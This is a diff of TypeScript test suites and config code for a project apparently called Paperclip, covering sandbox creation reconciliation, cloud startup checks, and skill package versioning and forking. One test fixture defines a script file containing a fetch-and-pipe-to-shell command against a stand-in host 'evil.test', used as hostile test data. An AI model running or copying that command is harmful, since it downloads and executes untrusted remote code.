expect.objectContaining({ companyId, state: "needs_reconciliation", metadata: expect.objectContaining({ creationReconciliationReason: "company_deleted" }) }),
]);
expect(await db.select().from(environmentLeases)).toEqual([]);
expect(calls.mock.calls.filter(value => value[1] === "environmentInspectLease")).toHaveLength(deletion === "before lookup" ? 0 : 1);
const count = calls.mock.calls.length;
await runtime().flushDeferredOrphanCleanups(); await runtime().flushDeferredOrphanCleanups();
expect(calls).toHaveBeenCalledTimes(count);
expect(await nextEnvironmentCleanupAt(db)).toBeNull(); expect(creates).toBe(1);
expect(await readdir(spool)).toEqual([]);
});
async function savedCreationCredential(providerConfigId?: string) {
const secrets = secretOwner.secretService(db);
const secret = await secrets.create(companyId, {
name: `creation-key-${randomUUID()}`, provider: "local_encrypted", providerConfigId, value: "fixture-private-key",
});
await secrets.createBinding({ companyId, secretId: secret.id, targetType: "environment", targetId: environmentId, configPath: "apiKey" });
await db.update(plugins).set({ manifestJson: sql`jsonb_set(${plugins.manifestJson}, '{environmentDrivers,0,configSchema}',
'{"type":"object","properties":{"apiKey":{"type":"string","format":"secret-ref"}}}'::jsonb)` }).where(eq(plugins.id, pluginId));
await db.update(environments).set({ config: { provider: "creation-fixture", image: "fixture", reuseLease: false, apiKey: secret.id } })
.where(eq(environments.id, environmentId));
loseReply = true;
await expect(acquire()).rejects.toThrow("Lost provider reply");
return secret;
}
it.each(["deleted", "disabled", "archived", "version-disabled", "vault-disabled", "vault-coming-soon"] as const)(
"retains a %s creation credential as quiet manual reconciliation across restart", async state => {
const secrets = secretOwner.secretService(db);
const vault = state.startsWith("vault-") ? await secrets.createProviderConfig(companyId, {
provider: "local_encrypted", displayName: "Creation vault", status: "ready", config: {},
}) : undefined;
const secret = await savedCreationCredential(vault?.id);
if (state === "deleted") await secrets.remove(secret.id);
else if (state === "disabled" || state === "archived") await secrets.update(secret.id, { status: state });
else if (state === "version-disabled") await db.update(companySecretVersions).set({ status: "disabled" })
.where(eq(companySecretVersions.secretId, secret.id));
else await secrets.updateProviderConfig(vault!.id, { status: state === "vault-disabled" ? "disabled" : "coming_soon" });
const inspectCalls = () => vi.mocked(workers.call).mock.calls.filter(value => value[1] === "environmentInspectLease").length;
await due(); await runtime().flushDeferredOrphanCleanups();
expect(await db.select().from(sandboxCreationOperations)).toEqual([
expect.objectContaining({ state: "needs_reconciliation" }),
]);
expect(await db.select().from(environmentLeases)).toEqual([]);
expect(inspectCalls()).toBe(0);
expect(await nextEnvironmentCleanupAt(db)).toBeNull();
const restarted = runtime();
await restarted.flushDeferredOrphanCleanups(); await restarted.flushDeferredOrphanCleanups();
expect(inspectCalls()).toBe(0); expect(creates).toBe(1); expect(destroys).toBe(0);
expect(await nextEnvironmentCleanupAt(db)).toBeNull();
await db.update(heartbeatRuns).set({ status: "failed", finishedAt: new Date() }).where(eq(heartbeatRuns.id, runId));
const ownerId = randomUUID();
const hold = { ownerId, draining: true, startedAt: new Date(Date.now() - 1000), expiresAt: new Date(Date.now() + 60_000), activeRuns: 0, pendingWakes: 0 };
// An installed plugin is a separate blocker until its worker proves quiet.
expect(await readIdleSleepSafety(db, () => hold, Date.now, ownerId, async () => "none"))
.toEqual({ version: 1, backgroundWork: "present" });
expect(await readIdleSleepSafety(db, () => hold, Date.now, ownerId, async () => "none",
async () => ({ backgroundWork: "none", pluginIds: [pluginId] })))
.toEqual({ version: 1, backgroundWork: "none" });
expect(await readdir(spool)).toEqual([]);
});
it("retries a temporary creation credential resolution failure without losing ownership", async () => {
await savedCreationCredential();
const original = secretOwner.secretService;
const resolution = vi.fn(async () => { throw new HttpError(503, "Temporary credential provider failure"); });
const owner = vi.spyOn(secretOwner, "secretService").mockImplementation(client => ({
...original(client), resolveSecretValueForSandboxCleanup: resolution,
}));
try {
await due(); await runtime().flushDeferredOrphanCleanups();
expect(resolution).toHaveBeenCalledTimes(1);
expect(await db.select().from(sandboxCreationOperations)).toEqual([
expect.objectContaining({ state: "pending", nextAttemptAt: expect.any(Date) }),
]);
expect(await nextEnvironmentCleanupAt(db)).toBeGreaterThan(Date.now());
expect(vi.mocked(workers.call).mock.calls.filter(value => value[1] === "environmentInspectLease")).toHaveLength(0);
} finally { owner.mockRestore(); }
await due(); await runtime().flushDeferredOrphanCleanups();
expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ state: "cleanup_pending" })]);
expect(await db.select().from(environmentLeases)).toHaveLength(1);
expect(creates).toBe(1); expect(destroys).toBe(0); expect(await readdir(spool)).toEqual([]);
});
it("makes unsupported uncertain outcomes explicit without another creation", async () => {
loseReply = true; await expect(acquire()).rejects.toThrow();
await db.update(plugins).set({ manifestJson: sql`${plugins.manifestJson} #- '{environmentDrivers,0,creationOperationVersion}'` }).where(eq(plugins.id, pluginId));
await due(); await runtime().flushDeferredOrphanCleanups();
expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ state: "needs_reconciliation" })]);
expect(await nextEnvironmentCleanupAt(db)).toBeNull();
await expect(acquire()).rejects.toThrow("requires reconciliation"); expect(creates).toBe(1);
});
});
@@ -614,6 +614,70 @@ describe("startServer feedback export wiring", () => {
process.env.BETTER_AUTH_SECRET = "test-secret";
});
it("refuses invalid cloud bootstrap prerequisites before signing, DB creation, or HTTP setup", async () => {
const realConfig = await vi.importActual<typeof import("../config.js")>("../config.js");
const originalHome = process.env.PAPERCLIP_HOME;
const originalManaged = process.env.PAPERCLIP_MANAGED_CONFIG;
const originalStorage = process.env.PAPERCLIP_STORAGE_PROVIDER;
const tempHome = mkdtempSync(path.join(tmpdir(), "paperclip-cloud-refusal-"));
process.env.PAPERCLIP_HOME = tempHome;
process.env.PAPERCLIP_MANAGED_CONFIG = JSON.stringify({
v: 1, mode: "cloud", catalogVersion: "2026.720.0", features: {}, plugins: { autoInstall: [] },
});
process.env.PAPERCLIP_STORAGE_PROVIDER = "s3";
delete process.env.PAPERCLIP_DECISION_SIGNING_SECRET;
cloudRuntimeStartupMocks.bootstrap.mockImplementationOnce(realConfig.loadCloudBootstrapConfig);
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", undefined);
vi.stubEnv("DATABASE_URL", buildTestConfig().databaseUrl);
try {
await expect(startServer()).rejects.toThrow(/stable PAPERCLIP_SECRETS_MASTER_KEY/);
expect(createDbMock).not.toHaveBeenCalled();
expect(createAppMock).not.toHaveBeenCalled();
expect(existsSync(path.join(tempHome, "instances"))).toBe(false);
} finally {
if (originalHome === undefined) delete process.env.PAPERCLIP_HOME;
else process.env.PAPERCLIP_HOME = originalHome;
if (originalManaged === undefined) delete process.env.PAPERCLIP_MANAGED_CONFIG;
else process.env.PAPERCLIP_MANAGED_CONFIG = originalManaged;
if (originalStorage === undefined) delete process.env.PAPERCLIP_STORAGE_PROVIDER;
else process.env.PAPERCLIP_STORAGE_PROVIDER = originalStorage;
vi.unstubAllEnvs();
rmSync(tempHome, { recursive: true, force: true });
}
});
it("rejects missing effective Cloud storage after the snapshot and before local signing mutations", async () => {
const realConfig = await vi.importActual<typeof import("../config.js")>("../config.js");
const { setCloudRuntimeConfigSnapshot } = await import("../services/cloud-runtime-config-snapshot.js");
const tempHome = mkdtempSync(path.join(tmpdir(), "paperclip-cloud-storage-refusal-"));
vi.stubEnv("PAPERCLIP_HOME", tempHome);
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", JSON.stringify({ v: 1, mode: "cloud", catalogVersion: "2026.720.0", features: {}, plugins: { autoInstall: [] } }));
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012");
vi.stubEnv("DATABASE_URL", buildTestConfig().databaseUrl);
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3");
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
vi.stubEnv("PAPERCLIP_DECISION_SIGNING_SECRET", undefined);
cloudRuntimeStartupMocks.initialize.mockImplementationOnce(async () => {
setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: null });
return null;
});
loadConfigMock.mockImplementationOnce(realConfig.loadConfig);
try {
await expect(startServer()).rejects.toThrow(/PAPERCLIP_STORAGE_S3_BUCKET/);
expect(createDbMock).toHaveBeenCalled();
expect(cloudRuntimeStartupMocks.initialize).toHaveBeenCalledOnce();
expect(cloudRuntimeStartupMocks.telemetry).not.toHaveBeenCalled();
expect(createAppMock).not.toHaveBeenCalled();
expect(existsSync(path.join(tempHome, "instances"))).toBe(false);
} finally {
setCloudRuntimeConfigSnapshot(null);
vi.unstubAllEnvs();
rmSync(tempHome, { recursive: true, force: true });
}
});
it("awaits saved Cloud configuration before telemetry, authentication and app construction", async () => {
vi.stubEnv("PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN", "startup-test-token");
vi.stubEnv("HOST", "0.0.0.0");
@@ -672,6 +736,7 @@ describe("startServer feedback export wiring", () => {
} finally { vi.unstubAllEnvs(); }
});
it.each([false, true])("registers runner evidence independently from the backup scan (%s)", async enabled => {
loadConfigMock.mockReturnValue(buildTestConfig({ nativeHarnessBackupExpirationEnabled: enabled }));
await startServer(); await settleStartupHousekeeping();
@@ -1175,7 +1240,8 @@ describe("startServer feedback export wiring", () => {
it("refuses startup when an explicit decision signing secret is too short", async () => {
process.env.PAPERCLIP_DECISION_SIGNING_SECRET = "too-short";
await expect(startServer()).rejects.toThrow("PAPERCLIP_DECISION_SIGNING_SECRET must be at least 32 characters");
expect(loadConfigMock).not.toHaveBeenCalled();
expect(createDbMock).not.toHaveBeenCalled();
expect(createAppMock).not.toHaveBeenCalled();
});
it("passes the feedback export service into createApp so pending traces flush in runtime", async () => {
@@ -8,7 +8,7 @@ import os from "node:os";
import path from "node:path";
import { and, eq, sql } from "drizzle-orm";
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
import { companies, companySkills, companySkillVersions, companySkillRepositorySnapshots as snapshots,
import { agents, companies, companySkills, companySkillVersions, companySkillRepositorySnapshots as snapshots,
skillPackageDeletions, createDb, withDedicatedDbConnection } from "@paperclipai/db";
import * as dbModule from "@paperclipai/db";
import type { CompanySkillVersionFileInventoryEntry } from "@paperclipai/shared";
@@ -83,6 +83,26 @@ describe.skipIf(!support.supported)("external skill packages", () => {
return { companyId, id, store, skills, service, resolve };
}
it("keeps unchanged linked-local execution on the verified manifest path with complete metadata indexes", async () => {
const companyId = await company();
vi.spyOn(storageModule, "getStorageService").mockReturnValue(storage);
const directory = path.join(home, `linked-${companyId}`);
await fs.mkdir(directory);
await fs.writeFile(path.join(directory, "SKILL.md"), "# Linked");
await fs.writeFile(path.join(directory, "support.txt"), "unchanged support");
const [skill] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked",
markdown: "# Linked", sourceType: "local_path", sourceLocator: directory,
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning();
const service = companySkillService(db);
const version = await service.createVersion(companyId, skill!.id);
const resolve = () => service.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill!.key]), snapshotLatest: true });
await resolve();
const read = vi.spyOn(fs, "readFile");
const [runtime] = await resolve();
expect(runtime?.versionId).toBe(version.id);
expect(read.mock.calls.filter(([file]) => String(file).endsWith("support.txt"))).toHaveLength(0);
});
it("orders skill and package locks consistently with an edit's dedicated upload connection", async () => {
const f = await fixture();
const skill = f.skills[0]!.skill;
@@ -121,16 +141,42 @@ describe.skipIf(!support.supported)("external skill packages", () => {
expect(await skillPackageStore(db, storage).versionInventory(stale!)).toEqual(files.map(({ path, kind }) => ({ path, kind })));
});
it("forks a packaged repository inside an outer transaction with a one-connection pool", async () => {
it("prepares a repository fork before its publication transaction with a one-connection pool", async () => {
const f = await fixture();
const fork = await db.transaction(tx => companySkillService(tx as unknown as typeof db, { packageDb: db })
.createLocalSkill(f.companyId, { name: "Idempotent fork", slug: "idempotent-fork", forkedFromSkillId: f.skills[0]!.skill.id }));
let publishing = false;
const read = storage.getObject.bind(storage);
vi.spyOn(storage, "getObject").mockImplementation((...args) => {
expect(publishing, "Package acquisition must finish before publication takes database locks").toBe(false);
return read(...args);
});
const fork = await f.service.createLocalSkill(f.companyId,
{ name: "Idempotent fork", slug: "idempotent-fork", forkedFromSkillId: f.skills[0]!.skill.id }, null, {
beforeLock: async () => { publishing = true; },
afterPublish: async (tx, skill, version) => {
expect((await tx.select().from(companySkillVersions).where(eq(companySkillVersions.id, version.id)))[0])
.toMatchObject({ companySkillId: skill.id });
},
});
publishing = false;
const saved = await f.service.getVersion(f.companyId, fork.id, fork.currentVersionId!);
expect(saved!.fileInventory).toEqual(expect.arrayContaining([
expect.objectContaining({ path: ".paperclip-repository/shared/run.sh", content: files[2]!.content }),
]));
}, 15_000);
it("publishes a fork and agent reassignment atomically with a one-connection pool", async () => {
const f = await fixture();
const original = f.skills[0]!.skill;
const [agent] = await db.insert(agents).values({ companyId: f.companyId, name: "Fork user", adapterType: "codex_local",
adapterConfig: { paperclipSkillSync: { desiredSkills: [{ key: original.key }] } } }).returning();
await expect(f.service.forkSkill(f.companyId, original.id, { slug: "atomic-fork", reassignAgentIds: [agent!.id] }, null,
{ afterPublish: async () => { throw new Error("audit rollback"); } })).rejects.toThrow("audit rollback");
expect(await f.service.getByKey(f.companyId, `company/${f.companyId}/atomic-fork`)).toBeNull();
expect((await db.select().from(agents).where(eq(agents.id, agent!.id)))[0]!.adapterConfig).toEqual(agent!.adapterConfig);
const fork = await f.service.forkSkill(f.companyId, original.id, { slug: "atomic-fork", reassignAgentIds: [agent!.id] });
expect(fork.reassignments).toEqual([{ agentId: agent!.id, previousSkillKey: original.key, nextSkillKey: fork.skill.key }]);
});
it("lists version metadata without reading archives, while inspection reads the requested historical bytes", async () => {
const f = await fixture();
const { skill, version } = f.skills[0]!;
@@ -247,7 +293,7 @@ describe.skipIf(!support.supported)("external skill packages", () => {
expect(await skillPackageStore(db, storage).versionFiles(converted!)).toEqual([{ ...files[0]!, path: "SKILL.md" }]);
});
it.each(["file", "folder"] as const)("restores a deleted %s when the replacement package upload fails", async target => {
it.each(["file", "folder"] as const)("keeps committed %s contents when the replacement package upload fails", async target => {
const companyId = await company();
vi.spyOn(storageModule, "getStorageService").mockReturnValue(storage);
const service = companySkillService(db);
@@ -256,11 +302,6 @@ describe.skipIf(!support.supported)("external skill packages", () => {
await service.updateFile(companyId, skill.id, "bundle/probe.sh", "#!/bin/sh\nprintf kept\n", null, { executable: true });
await service.updateFile(companyId, skill.id, "bundle/nested/data.bin", binary.toString("base64"), null, { encoding: "base64" });
await service.updateFile(companyId, skill.id, "keep.txt", "Unrelated file\n");
const root = skill.sourceLocator!;
await fs.chmod(path.join(root, "bundle/probe.sh"), 0o751);
await fs.mkdir(path.join(root, "bundle/empty"));
await fs.mkdir(path.join(root, "bundle/.git"));
await fs.writeFile(path.join(root, "bundle/.git/local-state"), "Unlisted bytes\n");
const [before] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id));
const versionsBefore = await db.select({ id: companySkillVersions.id }).from(companySkillVersions)
.where(eq(companySkillVersions.companySkillId, skill.id));
@@ -270,11 +311,10 @@ describe.skipIf(!support.supported)("external skill packages", () => {
await expect(service.deleteFile(companyId, skill.id, input)).rejects.toThrow("Object storage unavailable");
expect(upload).toHaveBeenCalled();
} finally { upload.mockRestore(); }
expect(await fs.readFile(path.join(root, "bundle/probe.sh"), "utf8")).toBe("#!/bin/sh\nprintf kept\n");
expect((await fs.stat(path.join(root, "bundle/probe.sh"))).mode & 0o777).toBe(0o751);
expect(await fs.readFile(path.join(root, "bundle/nested/data.bin"))).toEqual(binary);
expect((await fs.stat(path.join(root, "bundle/empty"))).isDirectory()).toBe(true);
expect(await fs.readFile(path.join(root, "bundle/.git/local-state"), "utf8")).toBe("Unlisted bytes\n");
expect(await service.readFile(companyId, skill.id, "bundle/probe.sh"))
.toMatchObject({ content: "#!/bin/sh\nprintf kept\n", executable: true });
expect(await service.readFile(companyId, skill.id, "bundle/nested/data.bin"))
.toMatchObject({ content: binary.toString("base64"), encoding: "base64" });
const [after] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id));
expect(after).toEqual(before);
expect(await db.select({ id: companySkillVersions.id }).from(companySkillVersions)
@@ -285,8 +325,9 @@ describe.skipIf(!support.supported)("external skill packages", () => {
.where(and(eq(snapshots.companyId, companyId), sql`${snapshots.upload} is not null`));
const deleted = await service.deleteFile(companyId, skill.id, input);
expect(deleted.deletedPaths).toContain("bundle/probe.sh");
await expect(fs.stat(path.join(root, input.path))).rejects.toMatchObject({ code: "ENOENT" });
expect(await fs.readFile(path.join(root, "keep.txt"), "utf8")).toBe("Unrelated file\n");
await expect(service.readFile(companyId, skill.id, "bundle/probe.sh")).rejects.toMatchObject({ status: 404 });
if (target === "folder") await expect(service.readFile(companyId, skill.id, "bundle/nested/data.bin")).rejects.toMatchObject({ status: 404 });
expect(await service.readFile(companyId, skill.id, "keep.txt")).toMatchObject({ content: "Unrelated file\n" });
expect((await service.getVersion(companyId, skill.id, before!.currentVersionId!))!.fileInventory)
.toEqual(expect.arrayContaining([expect.objectContaining({ path: "bundle/probe.sh", executable: true })]));
});
@@ -300,52 +341,45 @@ describe.skipIf(!support.supported)("external skill packages", () => {
await service.updateFile(companyId, skill.id, "keep.txt", "Keep\n");
const before = (await service.getById(companyId, skill.id))!;
let deletionFinished = false;
let backupDirectory: string | undefined;
const mkdtemp = fs.mkdtemp.bind(fs);
vi.spyOn(fs, "mkdtemp").mockImplementation(async (...args) => {
const directory = await mkdtemp(...args);
if (String(args[0]).includes("paperclip-skill-delete-")) backupDirectory = directory as string;
return directory;
});
const ambiguousDb = new Proxy(db, {
get(target, property, receiver) {
if (property === "transaction") return async (callback: (tx: any) => Promise<any>, ...options: any[]) => {
if (deletionFinished && outcome === "unavailable") throw new Error("Database unavailable");
const result = await target.transaction(async tx => {
const value = await callback(tx);
if (value?.deletedPaths) {
if (value?.skill?.id === skill.id && value?.version) {
deletionFinished = true;
if (outcome === "rolled_back") throw new Error("Lost commit reply");
}
return value;
}, ...options);
if (!result?.deletedPaths) return result;
if (result?.skill?.id !== skill.id || !result?.version) return result;
if (outcome === "newer_edit") await service.updateFile(companyId, skill.id, "notes.txt", "Newer edit\n");
throw new Error("Lost commit reply");
};
return Reflect.get(target, property, receiver);
},
});
try {
await expect(companySkillService(ambiguousDb, { packageDb: db }).deleteFile(companyId, skill.id,
{ path: "notes.txt", target: "file" })).rejects.toThrow("Lost commit reply");
expect(deletionFinished).toBe(true);
const [saved] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id));
if (outcome === "rolled_back") {
expect(saved!.currentVersionId).toBe(before.currentVersionId);
expect(await fs.readFile(path.join(skill.sourceLocator!, "notes.txt"), "utf8")).toBe("Original notes\n");
} else if (outcome === "newer_edit") {
expect(await fs.readFile(path.join(skill.sourceLocator!, "notes.txt"), "utf8")).toBe("Newer edit\n");
} else {
expect(saved!.currentVersionId).not.toBe(before.currentVersionId);
await expect(fs.stat(path.join(skill.sourceLocator!, "notes.txt"))).rejects.toMatchObject({ code: "ENOENT" });
}
if (outcome === "unavailable" || outcome === "newer_edit") {
expect(await fs.readFile(path.join(backupDirectory!, "source"), "utf8")).toBe("Original notes\n");
} else await expect(fs.stat(backupDirectory!)).rejects.toMatchObject({ code: "ENOENT" });
} finally {
if (backupDirectory) await fs.rm(backupDirectory, { recursive: true, force: true });
await expect(companySkillService(ambiguousDb, { packageDb: db }).deleteFile(companyId, skill.id,
{ path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId })).rejects.toThrow("Lost commit reply");
expect(deletionFinished).toBe(true);
const [saved] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id));
if (outcome === "rolled_back") {
expect(saved!.currentVersionId).toBe(before.currentVersionId);
expect(await service.readFile(companyId, skill.id, "notes.txt")).toMatchObject({ content: "Original notes\n" });
await expect(service.deleteFile(companyId, skill.id, { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId }))
.resolves.toMatchObject({ deletedPaths: ["notes.txt"] });
} else {
expect(saved!.currentVersionId).not.toBe(before.currentVersionId);
if (outcome === "newer_edit") expect(await service.readFile(companyId, skill.id, "notes.txt"))
.toMatchObject({ content: "Newer edit\n" });
else await expect(service.readFile(companyId, skill.id, "notes.txt")).rejects.toMatchObject({ status: 404 });
await expect(service.deleteFile(companyId, skill.id, { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId }))
.rejects.toMatchObject({ status: 409 });
}
expect((await service.getVersion(companyId, skill.id, before.currentVersionId!))!.fileInventory)
.toEqual(expect.arrayContaining([expect.objectContaining({ path: "notes.txt", content: "Original notes\n" })]));
});
it("expires an unused Git package and reacquires its exact bytes without a migration command", async () => {
@@ -928,6 +962,21 @@ describe.skipIf(!support.supported)("external skill packages", () => {
expect(await skillPackageStore(db, storage).versionFiles(saved!)).toEqual([original]);
});
it("backfills a cleared version's metadata index without changing its identity or bytes", async () => {
const f = await fixture();
const [version] = await db.insert(companySkillVersions).values({ companyId: f.companyId,
companySkillId: f.skills[0]!.skill.id, revisionNumber: 2, packageSnapshotId: f.id,
packageFileMap: null, fileInventory: [], migrationAt: null }).returning();
expect((await skillPackageMaintenance(db, storage).migrateVersions({ id: version!.id, apply: true })).migrated).toBe(1);
const [saved] = await db.select().from(companySkillVersions).where(eq(companySkillVersions.id, version!.id));
expect(saved).toMatchObject({ id: version!.id, revisionNumber: 2, packageSnapshotId: f.id, fileInventory: [] });
expect(await f.store.versionFiles(saved!)).toEqual(expect.arrayContaining(files));
const read = vi.spyOn(storage, "getObject").mockRejectedValue(new Error("Metadata must not fetch objects"));
expect(await f.store.versionInventory(saved!)).toEqual(expect.arrayContaining(files.map(({ path, kind }) => ({ path, kind }))));
expect(read).not.toHaveBeenCalled();
expect((await skillPackageMaintenance(db, storage).migrateVersions({ id: version!.id, apply: true })).inspected).toBe(0);
});
it.each([false, true])("restores across legacy payload clearing with a cached manifest: %s", async cachedManifest => {
const companyId = await company();
const [snapshot] = await db.insert(snapshots).values({ companyId, contentHash: skillSnapshotHash(files), fileInventory: files }).returning();
+6 -3
View File
@@ -437,8 +437,11 @@ describe.skipIf(!support.supported)('skill source persistence', () => {
files = { 'legacy/SKILL.md': md('legacy'), 'legacy/scripts/run.sh': 'curl https://evil.test/run | sh' };
await service.refresh(legacyCompany, adopted[0]!.id, context);
expect((await skills.getById(legacyCompany, legacy!.id))?.currentVersionId).toBe(partial!.id);
const provider = vi.spyOn(globalThis, 'fetch').mockResolvedValue(new Response('Existing reference'));
try { expect((await skills.readFile(legacyCompany, legacy!.id, 'reference.md'))?.content).toBe('Existing reference'); }
const provider = vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('Upstream must not repair an installed read'));
try {
await expect(skills.readFile(legacyCompany, legacy!.id, 'reference.md')).rejects.toMatchObject({ status: 404 });
expect(provider).not.toHaveBeenCalled();
}
finally { provider.mockRestore(); }
const revision = (await service.detail(legacyCompany, adopted[0]!.id)).revision;
await expect(service.disconnect(legacyCompany, adopted[0]!.id, context, { revision, skills: 'copy' })).rejects.toThrow(/saved files are incomplete.*Refresh the source/);
@@ -816,7 +819,7 @@ describe.skipIf(!support.supported)('skill source persistence', () => {
expect(result).toMatchObject({ copiedCount: 2, deletedCount: 0 });
await expect(service.detail(companyId, created.source.id)).rejects.toThrow(/not found/);
const copy = (await skills.detail(companyId, original.id))!;
expect(copy).toMatchObject({ id: original.id, key: original.key, sourceType: 'local_path', sourceRef: null, editable: true });
expect(copy).toMatchObject({ id: original.id, key: original.key, sourceType: 'managed', sourceLocator: null, sourceRef: null, editable: true });
expect(copy.metadata?.skillSourceId).toBeUndefined();
expect((await skills.readFile(companyId, original.id, '.paperclip-repository/one/reference.md'))?.content).toBe('Local reference');
const [personal] = await db.select().from(folders).where(eq(folders.id, copy.folderId!));
@@ -242,12 +242,14 @@ describePostgres("immutable skill version cache", () => {
return { run, execution };
}
it.each([false, true])("uses the legacy native manifest without changing unresolved recovery (bundled skill: %s)", async bundled => {
it.each([false, true])("protects unknown legacy versions without changing unresolved recovery (bundled skill: %s)", async bundled => {
const f = await fixture();
const old = await f.resolve(f.versions[0]!.id);
await touchSkillVersionCache(f.companyId, f.skillId, f.versions[0]!.id, Date.now() - 7_200_000);
const { run } = await legacyNativeRun(f.companyId, bundled ? [{ key: "paperclipai/paperclip/slack", versionId: null }] : []);
expect((await sweepSkillVersionCache(db, { companyId: f.companyId })).evicted).toBe(1);
const result = await sweepSkillVersionCache(db, { companyId: f.companyId });
expect(result.evicted).toBe(bundled ? 0 : 1);
if (bundled) expect(result.skipped.unknown_run_pins).toBe(1);
expect((await db.select().from(nativeRunFinalizations).where(eq(nativeRunFinalizations.runId, run.id)))[0])
.toMatchObject({ phase: "terminal_failure", recoveryState: "blocked" });
expect((await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, run.id)))[0]!.contextSnapshot).toBeNull();
@@ -712,7 +712,7 @@ describeEmbeddedPostgres("skill version snapshot retention", () => {
expect(await exists(dir)).toBe(false);
});
it("sweeps deleted skills after protecting existing runs", async () => {
it("blocks deletion for detached active pins and sweeps after they settle", async () => {
const companyId = await createCompany();
const { skillId, versionIds } = await createSkill(companyId, 2);
const first = await writeSnapshot(companyId, skillId, versionIds[0]!);
@@ -720,14 +720,16 @@ describeEmbeddedPostgres("skill version snapshot retention", () => {
const [agent] = await db.insert(agents).values({ companyId, name: "Detached agent" }).returning();
const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId: agent!.id, status: "running",
contextSnapshot: { skillVersions: { retained: versionIds[0] } } }).returning();
await companySkillService(db).deleteSkill(companyId, skillId);
await expect(companySkillService(db).deleteSkill(companyId, skillId)).rejects.toMatchObject({ status: 422 });
expect(await exists(first)).toBe(true);
await skillVersionRetentionService(db).pruneCompany(companyId);
expect(await exists(first)).toBe(true);
expect(await exists(second)).toBe(false);
expect(await exists(second)).toBe(true);
await db.update(heartbeatRuns).set({ status: "succeeded", finishedAt: new Date() }).where(eq(heartbeatRuns.id, run!.id));
await companySkillService(db).deleteSkill(companyId, skillId);
await skillVersionRetentionService(db).pruneCompany(companyId);
expect(await exists(first)).toBe(false);
expect(await exists(second)).toBe(false);
});
it("never removes anything outside the company's versions root", async () => {
+1 -1
View File
@@ -668,7 +668,7 @@ export async function createApp(
api.use("/companies", companyRoutes(db, opts.storageService));
api.use(llmRoutes(db));
api.use(folderRoutes(db));
api.use(companySkillRoutes(db));
api.use(companySkillRoutes(db, { pluginWorkerManager: workerManager }));
api.use(companySkillPolicyRoutes(db));
api.use(inboxAgentPolicyRoutes(db));
api.use(agentCommentaryRoutes(db));
+22 -2
View File
@@ -20,8 +20,22 @@ function formatConfigValidationError(error: ZodError): string {
.join("; ");
}
export function readConfigFile(): PaperclipConfig | null {
if (isCloudManagedInstance()) return toPaperclipConfig(getCloudRuntimeConfigSnapshot().config);
interface ConfigFileWithProvenance {
config: PaperclipConfig;
explicitStorageS3Bucket: boolean;
}
export function readConfigFile(options: { includeProvenance: true }): ConfigFileWithProvenance | null;
export function readConfigFile(): PaperclipConfig | null;
export function readConfigFile(options?: { includeProvenance: true }): PaperclipConfig | ConfigFileWithProvenance | null {
if (isCloudManagedInstance()) {
const saved = getCloudRuntimeConfigSnapshot().config;
const config = toPaperclipConfig(saved);
// A stored snapshot is canonical configuration, including its bucket.
// It must not inherit local-file provenance or inspect an old home.
return config && options?.includeProvenance ? { config, explicitStorageS3Bucket: true } : config;
}
const configPath = resolvePaperclipConfigPath();
if (!fs.existsSync(configPath)) return null;
@@ -41,6 +55,12 @@ export function readConfigFile(): PaperclipConfig | null {
`Unknown config key ${warning.path}; did you mean ${warning.suggestion}? It will be preserved.`,
);
}
if (options?.includeProvenance) {
// Schema validation above establishes the input shape, but fills omitted
// buckets with a default. Keep only that provenance at the file boundary.
const input = raw as Partial<PaperclipConfig>;
return { config, explicitStorageS3Bucket: input.storage?.s3?.bucket !== undefined };
}
return config;
} catch (error) {
if (error instanceof ZodError) {
Loaded 100 of 199 files, more files were not shown because too many files have changed in this diff. Show more